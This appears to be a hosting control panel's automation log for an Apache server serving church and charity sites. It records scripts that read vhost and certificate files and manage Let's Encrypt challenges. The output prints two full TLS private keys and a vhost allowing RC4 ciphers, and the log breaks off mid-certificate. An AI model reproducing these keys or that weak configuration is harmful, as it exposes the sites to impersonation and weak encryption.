         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-24 06:00:48: 

PUT: /tmp/pkp174790

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-24 06:00:48: 

chmod 755 /tmp/pkp174790; /tmp/pkp174790; rm /tmp/pkp174790

2025-10-24 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf	1555

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-24 06:00:48: 

PUT: /tmp/pkp804582

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-24 06:00:48: 

chmod 755 /tmp/pkp804582; /tmp/pkp804582; rm /tmp/pkp804582

2025-10-24 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt	5433
40:45:62:18:22:d3:ce:02:4e:df:48:5b:ce:01:22:9c

-----BEGIN CERTIFICATE-----
MIIFODCCBCCgAwIBAgISBYFz2dckSbC/cAFNF+XMN0UJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI0MDUwMjE2WhcNMjYwMTIyMDUwMjE1WjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAK9U/opYhuq5DpzylIO6TlmnOtk6ysLNlBzMQIjCElVk
pnniWfcWxAkfznUsqWj+smJ7oPsKIdNspmokFFIPZVhk/kAAo3ZbyPEkOm+q9Ec8
pnC1UXRRyNBiFXRo3Y0eXPStZ+yqCjuP/QglZehQDkkZd3+dRO08zWpzdGOT9m+C
2gykHgVAGUW4IHRufE/J7YMX9KbzBawXdLnuytnFC4CKi37Omy7Z0QY0vfJublyE
IFVRcjCEx7v68XJbXFn958Aq1sKcpRAuNnxxsoO5m/1brCI0RcW+ZMMX9r2oL8qU
VnJfP7jeIuGndBraT5IPHy58+MqWTlh/+/erGrzg49sCAwEAAaOCAk8wggJLMA4G
A1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYD
VR0TAQH/BAIwADAdBgNVHQ4EFgQUt6fNsnQO588v9ZZuYzJsGcrg/z4wHwYDVR0j
BBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsG
AQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzBLBgNVHREERDBCgh1jaHJp
c3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mb4Ihd3d3LmNocmlzdGFkZWxwaGlhbmZy
YXRlcm5hbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAuY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHUASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGa
FM4pmwAABAMARjBEAiBOX1g2IAdEWfeE8UuELqwCUmsWH4DI19DleiFtn4KaYgIg
JdHY8Ah7tR06z40Li3BR0PNAhVjkkV2mVX50Z4hLOkIAdgCWl2S/VViXrfdDh2g3
CEJ36fA61fak8zZuRqQ/D8qpxgAAAZoUzinWAAAEAwBHMEUCIAh4fnxWlgNid3ZZ
5k9NVX7xjHgr4WnCMDmivaX1PqboAiEA1T/9ko1BlVD5cVDM4V3GriZsrjpgHk5b
1JJXECbRr28wDQYJKoZIhvcNAQELBQADggEBACoVZexqk3NgN7NRCBrtvpgqye3j
JmIeiOvNJzPjQ28Mi32uBBCFNYv5xD00ubkqebFAMraWxqNwOlAffMDfvs5XyimD
4Ig/QAjHo4UQEh280j8/l2+IAsZOzJQqSwHGyHOmpkAG7ihOHMUAaTFaFN+WxhVW
DX21BmC8kkTZnMtlCJOS2Y4atoTSxHVtdHCtfStxprJM/HjuVDFOjoKj/6DSQ0Np
7FHV/jKBsoVof9N3P+OrOk1KzWV8JxD1AKwejd9NJfynON1MBt9pHV7hR+meHkwg
benEDWVJYEV2oH3Fve/uQzwJpSbyeIRrhwb9kkGUBlwiLoV9ndTaEyHF4NY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvVP6KWIbquQ6c
8pSDuk5ZpzrZOsrCzZQczECIwhJVZKZ54ln3FsQJH851LKlo/rJie6D7CiHTbKZq
JBRSD2VYZP5AAKN2W8jxJDpvqvRHPKZwtVF0UcjQYhV0aN2NHlz0rWfsqgo7j/0I
JWXoUA5JGXd/nUTtPM1qc3Rjk/ZvgtoMpB4FQBlFuCB0bnxPye2DF/Sm8wWsF3S5
7srZxQuAiot+zpsu2dEGNL3ybm5chCBVUXIwhMe7+vFyW1xZ/efAKtbCnKUQLjZ8
cbKDuZv9W6wiNEXFvmTDF/a9qC/KlFZyXz+43iLhp3Qa2k+SDx8ufPjKlk5Yf/v3
qxq84OPbAgMBAAECggEAEA1IAIJ6V6L5o4TR8/1qjuqwiJLJXWxU0w4gGmUqKIc+
dooyklyTNgKjdDbSi7pFup527oTO8/xOgAktkxW1wZH9dP6Z+IwOqYUXlIGiO6Nh
2Y/AFVYnfGx+alnvbqwI9p2plhE7PpjAIa7K1an+pNKgDh7n4JBgfg5z6WnydeLu
DiUO28xjq5VMqeagJXl28BhJhen45+XTs9M/SFO8hKSzUOXJYiVAA8CwZlHcC+fw
1a8DPQE0XulBt5adwD/P/ukCd3lAmsHYyQoVq55nAubIrHgIDZa0lEGysqUfs2vi
SZqbu7luS9J1wGBbQitI0BtKS7TCNYrh5ZArg6dOAQKBgQDj6IoWryN2e9mD0cMm
iYZiNor1IxJsvH1S3MCI6AQ5Pu/xI3m+hU8f7+wJIVwPksSytCSJJRCmLN/q+hDb
k+Y9Ovpptrs0GiQ/Bj803erSuv8konQVWw975lI/SWtcctp39eRJJU9mDOv3dwtt
jvE0QgWQatPht+iXanXU3VIC6wKBgQDE8XOV+ieUy4jtOWX1AJAn54yWdhMqQ5/I
Bdgb52JoFdx7Zd2jqZmeRVuk0PmxfG+x/2PTXoyl/cx95ocIVN+tTjEMxRDiHNip
2xwEkoTyKeEnyXLa1/Z/Q5ZQ3mZePfkdDrQUV/H6usI/FDAB/WBZtlxXAkZEl9c+
/GUDfdEG0QKBgBIRwcECqcEfGKPG4b4QcUMgJ+w/l5pfZ2BGeE1id9NCFiv8MA7W
6usRTpl6t53UeRviBHOLKMLEFAzBPszp8PsxzeDLyBPdbrpAeIpsfc2vXcM9zg5T
Zerg2+yAma5+vKt+J1dVSfJBXAQGwDUzfBQ0l9RXY+0lc59tpWH3GiV5AoGBAMFN
EBsjlhf4kiPtE4KfE97m6VmA+RyhlUGZYt04haEN3AOOHzYVMD9laibiKkInleYK
equrALen3T+xtdXaoFSVC5WyEvksQQiuk9h1C2I48tK/aikckcelyfMD50wW3dzE
YsIY89wZ1LBfGyPI0vobAJUyGVAYDN+4kVkU88YRAoGASRFQtSDln7zF8DMFqNt8
Cn4cMQi3BrZ7u9TwblcCDXBqr2zD88ImzLDmbh/afZCFKpqSAXW6y2DaT6ulonDs
IzIElOZDoDbkgx8t9CMMlvl0bss1A2EXc/ga2Avdc0HYeNoSSECLsyesrHsWAbzj
gsk9WcFSmCbC6QPpGU4RIqM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-24 06:00:48: Establishing a connection
2025-10-24 06:00:48: Establishing a connection
2025-10-24 06:00:48: 

PUT: /tmp/pkp900446

#!/bin/bash
if [ -d "/var/www/carelinksoutreach_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-24 06:00:48: 

chmod 755 /tmp/pkp900446; /tmp/pkp900446; rm /tmp/pkp900446

2025-10-24 06:00:48: 


1


2025-10-24 06:00:49: Establishing a connection
2025-10-24 06:00:49: 

PUT: /tmp/pkp511395

#!/bin/bash
mkdir -p "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
cd "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
cat > p_t8krzXafWqx0ZVynbKjEpnftSjVqeygNQY0GRsz8Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
p_t8krzXafWqx0ZVynbKjEpnftSjVqeygNQY0GRsz8Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 p_t8krzXafWqx0ZVynbKjEpnftSjVqeygNQY0GRsz8Y
cat > bcxTgU8Ff56EQUSAh1sAeYYYwexe6fGvQyePH_bUH0g <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
bcxTgU8Ff56EQUSAh1sAeYYYwexe6fGvQyePH_bUH0g.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 bcxTgU8Ff56EQUSAh1sAeYYYwexe6fGvQyePH_bUH0g


2025-10-24 06:00:49: 

chmod 755 /tmp/pkp511395; /tmp/pkp511395; rm /tmp/pkp511395

2025-10-24 06:00:49: 




2025-10-24 06:01:00: Establishing a connection
2025-10-24 06:01:00: 

PUT: /tmp/pkp744290

#!/bin/bash
mkdir -p "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
cd "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
rm p_t8krzXafWqx0ZVynbKjEpnftSjVqeygNQY0GRsz8Y
rm bcxTgU8Ff56EQUSAh1sAeYYYwexe6fGvQyePH_bUH0g


2025-10-24 06:01:00: 

chmod 755 /tmp/pkp744290; /tmp/pkp744290; rm /tmp/pkp744290

2025-10-24 06:01:00: 




2025-10-24 06:01:00: Establishing a connection
2025-10-24 06:01:00: 

PUT: /tmp/pkp235503

#!/bin/bash
temp_file=$(mktemp)
TARGET=b64494a3418593cd7c84316d693a17ce.crt

cat > $temp_file <<'endmsg'
cd:05:a7:0f:65:b7:f1:9b:e8:92:d5:f8:59:52:c5:b5

-----BEGIN CERTIFICATE-----
MIIFITCCBAmgAwIBAgISBTIQDUliHWWNo2gov2vWaDquMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMjI5WhcNMjYwMTIyMDUwMjI4WjAhMR8wHQYDVQQD
ExZjYXJlbGlua3NvdXRyZWFjaC5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAurxQheluzJxuqvzq10uqDTwglYxGn99E8ESYMpGU9OH3ghJzwHbZ
huVOjOO4OkxsXwAqYIsAtd/YNgZBvFMRd7MsIx8T2ocUlpk06ctWqFxiVuRBjobq
0HWLizmfYdz7oyslJaEiybHzCujyCeVfOAdQF45sQImxa5zoIESZrw4lSOQYnbiN
Na84QsT+2HqB4vQqOXWQLtUvIvyWMV16qqe9E8oqn+lKD/1SRpWn6N+xcYZZmmgl
cMHQUYB1Rsq8/dGn0DrJGFm76Vh7Ot4sb38tZlxW07s0lAyR6KR5+jJfKsX4a1FS
qxSsxPsWC0X81yrROoFtgv8rBhiBMNRlbQIDAQABo4ICPzCCAjswDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBRBQAL9aAzJJDH8f3iTgfiwj1mZVTAfBgNVHSMEGDAWgBQA
tSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMD0GA1UdEQQ2MDSCFmNhcmVsaW5rc291
dHJlYWNoLmluZm+CGnd3dy5jYXJlbGlua3NvdXRyZWFjaC5pbmZvMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5j
ci5vcmcvNDcuY3JsMIIBAQYKKwYBBAHWeQIEAgSB8gSB7wDtAHUAZBHEbKQS7KeJ
HKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaFM5b6AAABAMARjBEAiAh/iKg46cG
9Lk7dcbJD7V0VYwDj6C6Kk14wE00XPBp1gIgOnNMlokZjZUOH6tWmAv9s2o23NIA
BWefs8dQ5WFf+DsAdACWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAA
AZoUzlwyAAAEAwBFMEMCIFXcGb+sXuKEe3XFDutanhygDXun/X7aWBIXVb3jeFZZ
Ah98XxAEJAdAhdgE9g3Bo+24vjpNpO2MaVXDSHebL56YMA0GCSqGSIb3DQEBCwUA
A4IBAQBTVtjSOh8RL8z0nB90oNECamaq7X0k0OchY2MV3zXXaWJxKv6Hl1VHwQP8
/9iF73npR0lxvz9mzdh/wvnO2pVVEwN1iJm7SrPTE6PN2pZQrgiXU5JOfHfdVT9L
CJ2rRwH7dwhRzwZAznVhMj3HVBUGK9QyZltNf4h8kpvarQTu1MWxgqxAENLExq6s
w03P2sH6zPzqhq3Xt1cKw67eu+v05jWoKEYBsQ5D2fHZgQJWsB5Ei8D3NbKDRi3r
awhdRaX2Jd84RJZTQkfQ+tnLL0QG5DkVkCrxqPZiCez4CRVs7sKNfYdJYcd2mV7G
jDECGAM5DoSBfzfvCvY/qM4+78Qe
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC6vFCF6W7MnG6q
/OrXS6oNPCCVjEaf30TwRJgykZT04feCEnPAdtmG5U6M47g6TGxfACpgiwC139g2
BkG8UxF3sywjHxPahxSWmTTpy1aoXGJW5EGOhurQdYuLOZ9h3PujKyUloSLJsfMK
6PIJ5V84B1AXjmxAibFrnOggRJmvDiVI5BiduI01rzhCxP7YeoHi9Co5dZAu1S8i
/JYxXXqqp70Tyiqf6UoP/VJGlafo37FxhlmaaCVwwdBRgHVGyrz90afQOskYWbvp
WHs63ixvfy1mXFbTuzSUDJHopHn6Ml8qxfhrUVKrFKzE+xYLRfzXKtE6gW2C/ysG
GIEw1GVtAgMBAAECggEAde1vPOKKopU4HqvS81xJbEpImakZAOXTd5kaNPVTiMMb
t/1HNIjaHyK5VKiLM+YHmodUO9wM+s7+kD+rS+953Io+mX+K3jroeaMPk4Zil7ig
Mhe8fvIdYMCa+7XMPdV85TLeJsF4YsAKqR0rnaxJUezsW7QKEUfjz/4rahVoqO/F
FULaogp3T5jrt7UfNL0Wtxw6iKfJX4vKRS2sq6yN0I56eB15Y/wHJVrLP86HfIiD
ea39P28xySaF+lzpcUOTBBEeLTyEkH/3HJ6hiiF7PTC0b+wk+xhryBkUEz5TwplV
PZKeNXqM1Kb3gskQHK0vbwRTuSbKZfhDCf+EKjDCAQKBgQDrpRLLZR0IOMoPwbuT
M7oaypb/EPCjf0fGFCSbVq2zZLKz21F0iqarC5f/v2iTm7pwiy1K+uu96eIvuGWA
DeeMA2UrG7YCle5t8op1eIDOryDQFCSPxdsIY6zL8zxTHqqQItV2jNXkqYNn+kv5
wdDOQX8uhE+2Q7yqP5+KMdm5zQKBgQDK3bAyvgG31/RnOERWLmL1In1fLyK2jjfq
2IMBma7nO31eF7B+dIfnFJ07/0jxTEeR48pa3g3tGppbSq6EaZKISwfZhUVAwDIB
dbe958FQM4pempVFHd/uoQRHOxa1gtmt4lup+XIWgB8Pot8XTZs1fHwwckm+GIXe
KQ0td1c6IQKBgQCALQpMGHPyRPGkIH0nVLumVwxLMauzQ0iHNe2zkTJqohuSOXnV
KpX99BB5zGPV5p9DGHFKl7IjW1TtICAVx3prbm1ZRXl7bpKCu6sUurdVtWzjwhEh
Iz5BEfar+WKW09dzD3+NPI4cExinNj6dXA94IahMZSv2uGGnOXROd083AQKBgQC6
uSZO7jjioLFiuJWdxYBsJVzEWbxXz7uEO9kJhg1I5KbWDnPzUQsuFPlMmgLnptBR
ZhuBW9XxoYTl9m1/jzTCol0NR++gU8czNMj00PZL/cSkoyA1x/OvzyEC905Fr7Tw
qeK5JtJuB2uPlthEuLfdmUEtzmQ1xpihDaQFb00oQQKBgQDNRt+9RFNO/SY/hsuF
aV5tBNPERSyIJ9dlhHt9SrOaVD2X11k1uIsKbXlikqLROUP33XMvSU4OGXMdeFIi
TThhlAuWpWCJbSd/x8aTD/vbJNjW32RVwNVdJFIKxScsBWB1DW1n1eySpwyGnJct
dXSNL3bwJ+kkWSsub3McNbEcHA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
